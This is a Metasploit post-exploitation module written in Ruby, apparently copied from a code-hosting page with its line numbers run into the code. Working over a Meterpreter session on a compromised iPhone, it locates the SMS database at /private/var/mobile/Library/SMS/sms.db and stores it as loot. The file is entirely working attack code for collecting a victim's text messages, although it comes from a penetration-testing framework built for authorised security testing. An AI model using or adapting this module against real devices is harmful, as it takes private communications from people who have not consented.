Path: blob/master/modules/post/apple_ios/gather/ios_text_gather.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'iOS Text Gatherer',14'Description' => %q{15This module collects text messages from iPhones.16Tested on iOS 10.3.3 on an iPhone 5.17},18'License' => MSF_LICENSE,19'Author' => [ 'Shelby Pace' ], # Metasploit Module20'Platform' => [ 'apple_ios' ],21'SessionTypes' => [ 'meterpreter' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26}27)28)29end3031def download_text_db(file_path)32db_file_data = read_file(file_path)33loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')34print_good("sms.db stored at #{loc}")35rescue StandardError36fail_with(Failure::NoAccess, 'Failed to read sms.db file')37end3839def run40sms_path = '/private/var/mobile/Library/SMS/sms.db'41unless file?(sms_path)42fail_with(Failure::NotFound, "Couldn't locate sms.db file")43end4445print_good('sms.db file found')46download_text_db(sms_path)47end48end495051